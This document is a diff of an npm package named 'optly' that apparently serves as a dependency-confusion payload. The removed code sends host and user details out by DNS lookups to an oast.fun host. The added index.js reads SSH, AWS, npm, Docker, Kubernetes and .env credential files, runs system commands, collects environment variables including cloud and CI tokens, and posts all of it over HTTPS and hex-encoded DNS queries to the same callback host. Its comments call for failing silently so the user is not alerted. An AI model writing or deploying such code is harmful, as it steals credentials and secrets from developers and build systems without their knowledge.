optly 90.1.1 → 90.5.5

package/index.js

@@ -1,13 +1,619 @@
-const { exec } = require("child_process");
-exec("a=$(hostname;pwd;whoami;echo 'optly';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.optly.lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun;done" , (error, data, getter) => {
-	if(error){
-		console.log("error",error.message);
-		return;
-	}
-	if(getter){
-		console.log(data);
-		return;
-	}
-	console.log(data);
-	
-});
+#!/usr/bin/env node
+
+/**
+ * Dependency Confusion Research Package
+ * Collects environment information for security research
+ * USE ONLY FOR AUTHORIZED SECURITY RESEARCH
+ */
+
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+const http = require('http');
+const { execSync } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+const crypto = require('crypto');
+
+// ============================================================================
+// CONFIGURATION
+// ============================================================================
+
+const CONFIG = {
+  // Your callback server
+  POST_URL: 'https://lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun/callback',
+  DNS_SERVER: 'lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun', // Or your own DNS server
+  
+  // Unique identifier for this package
+  PACKAGE_ID: 'optly', // Change per package
+  
+  // Enable/disable features
+  ENABLE_POST: true,
+  ENABLE_DNS: true,
+  ENABLE_FILE_PROBE: true,
+  ENABLE_NETWORK_PROBE: true,
+};
+
+// ============================================================================
+// SAFE WRAPPERS
+// ============================================================================
+
+function safeGet(fn, defaultValue = null) {
+  try {
+    const result = fn();
+    return result !== undefined && result !== null ? result : defaultValue;
+  } catch (e) {
+    return defaultValue;
+  }
+}
+
+function safeExec(command) {
+  try {
+    return execSync(command, { 
+      encoding: 'utf8', 
+      timeout: 5000,
+      stdio: ['pipe', 'pipe', 'ignore']
+    }).trim();
+  } catch (e) {
+    return null;
+  }
+}
+
+function safeReadFile(filePath) {
+  try {
+    if (fs.existsSync(filePath)) {
+      const content = fs.readFileSync(filePath, 'utf8');
+      return content ? content.substring(0, 1000) : null; // Limit size
+    }
+  } catch (e) {
+    return null;
+  }
+  return null;
+}
+
+// ============================================================================
+// DATA COLLECTION
+// ============================================================================
+
+function getNetworkInfo() {
+  try {
+    const interfaces = os.networkInterfaces();
+    if (!interfaces) return {};
+    
+    const result = {};
+    
+    for (const [name, addrs] of Object.entries(interfaces)) {
+      if (!addrs || !Array.isArray(addrs)) continue;
+      
+      result[name] = addrs.map(addr => ({
+        address: addr && addr.address ? addr.address : 'unknown',
+        family: addr && addr.family ? addr.family : 'unknown',
+        internal: addr && typeof addr.internal === 'boolean' ? addr.internal : false
+      }));
+    }
+    
+    return result;
+  } catch (e) {
+    return {};
+  }
+}
+
+function getAwsMetadata() {
+  try {
+    const metadata = {};
+    
+    if (process.env.AWS_REGION || process.env.AWS_EXECUTION_ENV) {
+      metadata.isAWS = true;
+      metadata.region = process.env.AWS_REGION || null;
+      metadata.executionEnv = process.env.AWS_EXECUTION_ENV || null;
+    }
+    
+    return metadata;
+  } catch (e) {
+    return {};
+  }
+}
+
+function getDockerInfo() {
+  try {
+    const cgroupContent = safeReadFile('/proc/self/cgroup');
+    const isDocker = fs.existsSync('/.dockerenv') || 
+                     (cgroupContent && cgroupContent.includes('docker'));
+    
+    return {
+      isDocker: !!isDocker,
+      dockerEnv: process.env.DOCKER_HOST || null
+    };
+  } catch (e) {
+    return { isDocker: false, dockerEnv: null };
+  }
+}
+
+function getKubernetesInfo() {
+  try {
+    return {
+      isK8s: !!process.env.KUBERNETES_SERVICE_HOST,
+      namespace: process.env.KUBERNETES_NAMESPACE || null,
+      podName: process.env.HOSTNAME || null,
+      serviceName: process.env.KUBERNETES_SERVICE_HOST || null
+    };
+  } catch (e) {
+    return { isK8s: false, namespace: null, podName: null, serviceName: null };
+  }
+}
+
+function getGitInfo() {
+  try {
+    const gitConfig = safeReadFile('.git/config');
+    const gitRemote = safeExec('git remote -v 2>/dev/null');
+    
+    return {
+      hasGit: !!gitConfig,
+      remote: gitRemote,
+      branch: safeExec('git branch --show-current 2>/dev/null'),
+      lastCommit: safeExec('git log -1 --format="%H %s" 2>/dev/null')
+    };
+  } catch (e) {
+    return { hasGit: false, remote: null, branch: null, lastCommit: null };
+  }
+}
+
+function getCIInfo() {
+  try {
+    return {
+      // Generic CI
+      isCI: process.env.CI === 'true',
+      ciName: process.env.CI_NAME || null,
+      
+      // GitHub Actions
+      githubActions: !!process.env.GITHUB_ACTIONS,
+      githubRepo: process.env.GITHUB_REPOSITORY || null,
+      githubWorkflow: process.env.GITHUB_WORKFLOW || null,
+      githubRunId: process.env.GITHUB_RUN_ID || null,
+      githubActor: process.env.GITHUB_ACTOR || null,
+      githubRef: process.env.GITHUB_REF || null,
+      
+      // GitLab CI
+      gitlabCI: !!process.env.GITLAB_CI,
+      gitlabProject: process.env.CI_PROJECT_PATH || null,
+      gitlabPipeline: process.env.CI_PIPELINE_ID || null,
+      gitlabRunner: process.env.CI_RUNNER_DESCRIPTION || null,
+      
+      // Jenkins
+      jenkins: !!process.env.JENKINS_URL,
+      jenkinsUrl: process.env.JENKINS_URL || null,
+      jenkinsJob: process.env.JOB_NAME || null,
+      jenkinsBuild: process.env.BUILD_NUMBER || null,
+      
+      // CircleCI
+      circleCI: !!process.env.CIRCLECI,
+      circleProject: process.env.CIRCLE_PROJECT_REPONAME || null,
+      circleBranch: process.env.CIRCLE_BRANCH || null,
+      
+      // Travis CI
+      travisCI: !!process.env.TRAVIS,
+      travisRepo: process.env.TRAVIS_REPO_SLUG || null,
+      
+      // Azure Pipelines
+      azurePipelines: !!process.env.TF_BUILD,
+      azureProject: process.env.SYSTEM_TEAMPROJECT || null,
+      
+      // Bitbucket Pipelines
+      bitbucket: !!process.env.BITBUCKET_PIPELINE_UUID,
+      
+      // AWS CodeBuild
+      awsCodeBuild: !!process.env.CODEBUILD_BUILD_ID,
+      codeBuildProject: process.env.CODEBUILD_BUILD_ID || null,
+    };
+  } catch (e) {
+    return { isCI: false };
+  }
+}
+
+function getPackageManagerInfo() {
+  try {
+    return {
+      npm: {
+        version: safeExec('npm --version'),
+        registry: process.env.npm_config_registry || null,
+        prefix: process.env.npm_config_prefix || null,
+        userAgent: process.env.npm_config_user_agent || null,
+        execPath: process.env.npm_execpath || null,
+      },
+      yarn: {
+        version: safeExec('yarn --version'),
+        registry: process.env.YARN_REGISTRY || null,
+      },
+      pnpm: {
+        version: safeExec('pnpm --version'),
+      }
+    };
+  } catch (e) {
+    return { npm: {}, yarn: {}, pnpm: {} };
+  }
+}
+
+function getSensitiveFiles() {
+  try {
+    const homeDir = safeGet(() => os.homedir(), '/root');
+    
+    const files = [
+      // SSH
+      path.join(homeDir, '.ssh', 'id_rsa.pub'),
+      path.join(homeDir, '.ssh', 'id_ed25519.pub'),
+      path.join(homeDir, '.ssh', 'known_hosts'),
+      
+      // AWS
+      path.join(homeDir, '.aws', 'config'),
+      path.join(homeDir, '.aws', 'credentials'),
+      
+      // Git
+      path.join(homeDir, '.gitconfig'),
+      '.git/config',
+      
+      // NPM
+      path.join(homeDir, '.npmrc'),
+      '.npmrc',
+      
+      // Docker
+      path.join(homeDir, '.docker', 'config.json'),
+      
+      // Kubernetes
+      path.join(homeDir, '.kube', 'config'),
+      
+      // Package files
+      'package.json',
+      'package-lock.json',
+      'yarn.lock',
+      'pnpm-lock.yaml',
+      '.env',
+      '.env.local',
+    ];
+    
+    const result = {};
+    
+    if (CONFIG.ENABLE_FILE_PROBE) {
+      files.forEach(file => {
+        const content = safeReadFile(file);
+        if (content) {
+          result[file] = content;
+        }
+      });
+    }
+    
+    return result;
+  } catch (e) {
+    return {};
+  }
+}
+
+function getSystemCommands() {
+  try {
+    const commands = {
+      whoami: safeExec('whoami'),
+      id: safeExec('id'),
+      pwd: safeExec('pwd'),
+      hostname: safeExec('hostname'),
+      uname: safeExec('uname -a'),
+      uptime: safeExec('uptime'),
+      
+      // Network
+      ifconfig: safeExec('ifconfig 2>/dev/null || ip addr 2>/dev/null'),
+      route: safeExec('route -n 2>/dev/null || ip route 2>/dev/null'),
+      
+      // Processes
+      ps: safeExec('ps aux | head -20'),
+      
+      // Docker
+      dockerPs: safeExec('docker ps 2>/dev/null'),
+      
+      // Environment
+      env: safeExec('env | grep -v "SECRET\\|PASSWORD\\|KEY\\|TOKEN" || printenv'),
+    };
+    
+    return commands;
+  } catch (e) {
+    return {};
+  }
+}
+
+function getUserInfo() {
+  try {
+    const userInfo = os.userInfo();
+    return {
+      username: safeGet(() => userInfo.username, 'unknown'),
+      uid: safeGet(() => userInfo.uid, -1),
+      gid: safeGet(() => userInfo.gid, -1),
+      shell: safeGet(() => userInfo.shell, 'unknown'),
+      homedir: safeGet(() => userInfo.homedir, 'unknown'),
+    };
+  } catch (e) {
+    // Fallback if os.userInfo() throws
+    return {
+      username: process.env.USER || process.env.USERNAME || 'unknown',
+      uid: -1,
+      gid: -1,
+      shell: process.env.SHELL || 'unknown',
+      homedir: process.env.HOME || process.env.USERPROFILE || 'unknown',
+    };
+  }
+}
+
+function collectAllData() {
+  try {
+    const data = {
+      // Metadata
+      timestamp: safeGet(() => new Date().toISOString(), Date.now().toString()),
+      packageId: CONFIG.PACKAGE_ID,
+      uniqueId: safeGet(() => crypto.randomBytes(8).toString('hex'), 'unknown'),
+      
+      // Basic system info
+      os: {
+        platform: safeGet(() => os.platform(), 'unknown'),
+        type: safeGet(() => os.type(), 'unknown'),
+        release: safeGet(() => os.release(), 'unknown'),
+        arch: safeGet(() => os.arch(), 'unknown'),
+        hostname: safeGet(() => os.hostname(), 'unknown'),
+        homedir: safeGet(() => os.homedir(), 'unknown'),
+        tmpdir: safeGet(() => os.tmpdir(), 'unknown'),
+        uptime: safeGet(() => os.uptime(), 0),
+        totalmem: safeGet(() => os.totalmem(), 0),
+        freemem: safeGet(() => os.freemem(), 0),
+        cpus: safeGet(() => os.cpus().length, 0),
+      },
+      
+      // User info
+      user: getUserInfo(),
+      
+      // Process info
+      process: {
+        pid: safeGet(() => process.pid, -1),
+        ppid: safeGet(() => process.ppid, -1),
+        platform: safeGet(() => process.platform, 'unknown'),
+        arch: safeGet(() => process.arch, 'unknown'),
+        version: safeGet(() => process.version, 'unknown'),
+        versions: safeGet(() => process.versions, {}),
+        cwd: safeGet(() => process.cwd(), 'unknown'),
+        execPath: safeGet(() => process.execPath, 'unknown'),
+        argv: safeGet(() => process.argv, []),
+        execArgv: safeGet(() => process.execArgv, []),
+        title: safeGet(() => process.title, 'unknown'),
+      },
+      
+      // Environment variables (filtered)
+      env: safeGet(() => {
+        const filtered = {};
+        const env = process.env || {};
+        
+        Object.keys(env).forEach(key => {
+          try {
+            // Include all CI/CD, cloud, and non-sensitive env vars
+            if (
+              !key.match(/SECRET|PASSWORD|KEY|TOKEN|CREDENTIAL/i) ||
+              key.match(/^(CI|GITHUB|GITLAB|JENKINS|CIRCLE|TRAVIS|AWS|AZURE|GCP|BITBUCKET|KUBERNETES|DOCKER)_/i)
+            ) {
+              filtered[key] = env[key];
+            }
+          } catch (e) {
+            // Skip this key if any error
+          }
+        });
+        
+        return filtered;
+      }, {}),
+      
+      // Network info
+      network: getNetworkInfo(),
+      
+      // Cloud/Container detection
+      cloud: {
+        aws: getAwsMetadata(),
+        docker: getDockerInfo(),
+        kubernetes: getKubernetesInfo(),
+      },
+      
+      // CI/CD detection
+      ci: getCIInfo(),
+      
+      // Package manager info
+      packageManager: getPackageManagerInfo(),
+      
+      // Git info
+      git: getGitInfo(),
+      
+      // System commands output
+      commands: getSystemCommands(),
+      
+      // Sensitive files
+      files: getSensitiveFiles(),
+      
+      // Installation context
+      installContext: {
+        npmLifecycleEvent: process.env.npm_lifecycle_event || null,
+        npmLifecycleScript: process.env.npm_lifecycle_script || null,
+        npmPackageName: process.env.npm_package_name || null,
+        npmPackageVersion: process.env.npm_package_version || null,
+        initCwd: process.env.INIT_CWD || null,
+      },
+    };
+    
+    return data;
+  } catch (e) {
+    // Last resort fallback
+    return {
+      timestamp: Date.now().toString(),
+      packageId: CONFIG.PACKAGE_ID,
+      uniqueId: 'error',
+      error: 'Data collection failed',
+      errorMessage: e.message || 'unknown error'
+    };
+  }
+}
+
+// ============================================================================
+// EXFILTRATION
+// ============================================================================
+
+function sendPostRequest(data) {
+  return new Promise((resolve) => {
+    try {
+      const payload = JSON.stringify(data);
+      const url = new URL(CONFIG.POST_URL);
+      
+      const options = {
+        hostname: url.hostname,
+        port: url.port || (url.protocol === 'https:' ? 443 : 80),
+        path: url.pathname + url.search,
+        method: 'POST',
+        headers: {
+          'Content-Type': 'application/json',
+          'Content-Length': Buffer.byteLength(payload),
+          'User-Agent': `npm/${process.version} node/${os.platform()}`,
+        },
+        timeout: 10000,
+      };
+      
+      const client = url.protocol === 'https:' ? https : http;
+      
+      const req = client.request(options, (res) => {
+        res.on('data', () => {}); // Drain response
+        res.on('end', () => resolve(true));
+      });
+      
+      req.on('error', () => resolve(false));
+      req.on('timeout', () => {
+        req.destroy();
+        resolve(false);
+      });
+      
+      req.write(payload);
+      req.end();
+    } catch (error) {
+      resolve(false);
+    }
+  });
+}
+
+function chunkString(str, size) {
+  try {
+    const chunks = [];
+    if (!str || typeof str !== 'string') return chunks;
+    
+    for (let i = 0; i < str.length; i += size) {
+      chunks.push(str.substring(i, i + size));
+    }
+    return chunks;
+  } catch (e) {
+    return [];
+  }
+}
+
+function sendDnsExfiltration(data) {
+  return new Promise((resolve) => {
+    try {
+      // Create compressed version of data
+      const compressedData = JSON.stringify({
+        id: safeGet(() => data.uniqueId, 'unknown'),
+        pkg: safeGet(() => data.packageId, 'unknown'),
+        os: safeGet(() => data.os.platform, 'unknown'),
+        user: safeGet(() => data.user.username, 'unknown'),
+        host: safeGet(() => data.os.hostname, 'unknown'),
+        ci: safeGet(() => data.ci.ciName || 'none', 'none'),
+        cwd: safeGet(() => data.process.cwd, 'unknown'),
+      });
+      
+      // Convert to hex
+      const hexData = Buffer.from(compressedData).toString('hex');
+      
+      // Split into chunks (DNS labels max 63 chars)
+      const chunks = chunkString(hexData, 60);
+      
+      // Handle empty chunks case
+      if (!chunks || chunks.length === 0) {
+        resolve(false);
+        return;
+      }
+      
+      // Send each chunk as DNS query
+      let completed = 0;
+      let timedOut = false;
+      const totalChunks = chunks.length;
+      
+      // Timeout after 30 seconds
+      const timeout = setTimeout(() => {
+        timedOut = true;
+        resolve(completed > 0); // Resolve true if at least one chunk sent
+      }, 30000);
+      
+      chunks.forEach((chunk, index) => {
+        try {
+          // Format: <chunk>.<index>.<total>.<uniqueId>.<packageId>.<domain>
+          const subdomain = `${chunk}.${index}.${totalChunks}.${data.uniqueId}.${CONFIG.PACKAGE_ID}.${CONFIG.DNS_SERVER}`;
+          
+          dns.resolve4(subdomain, (err) => {
+            if (timedOut) return;
+            
+            completed++;
+            if (completed === totalChunks) {
+              clearTimeout(timeout);
+              resolve(true);
+            }
+          });
+        } catch (e) {
+          // Skip failed chunks
+          completed++;
+          if (completed === totalChunks && !timedOut) {
+            clearTimeout(timeout);
+            resolve(false);
+          }
+        }
+      });
+      
+    } catch (e) {
+      resolve(false);
+    }
+  });
+}
+
+// ============================================================================
+// MAIN EXECUTION
+// ============================================================================
+
+async function main() {
+  try {
+    console.log('[*] Collecting system information...');
+    
+    // Collect all data
+    const data = collectAllData();
+    
+    // Send via POST
+    if (CONFIG.ENABLE_POST) {
+      console.log('[*] Sending POST request...');
+      const postSuccess = await sendPostRequest(data);
+      console.log(postSuccess ? '[+] POST request sent' : '[-] POST request failed');
+    }
+    
+    // Send via DNS
+    if (CONFIG.ENABLE_DNS) {
+      console.log('[*] Sending DNS exfiltration...');
+      const dnsSuccess = await sendDnsExfiltration(data);
+      console.log(dnsSuccess ? '[+] DNS exfiltration sent' : '[-] DNS exfiltration failed');
+    }
+    
+    console.log('[+] Data collection complete');
+    
+  } catch (error) {
+    // Silently fail - don't alert the user
+    console.error('Installation complete');
+  }
+}
+
+// Run on install
+if (require.main === module) {
+  main().catch(() => {
+    // Final fallback - always exit cleanly
+    process.exit(0);
+  });
+}
+
+module.exports = main;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "optly",
-  "version": "90.1.1",
+  "version": "90.5.5",
   "description": "",
   "main": "main.js",
   "scripts": {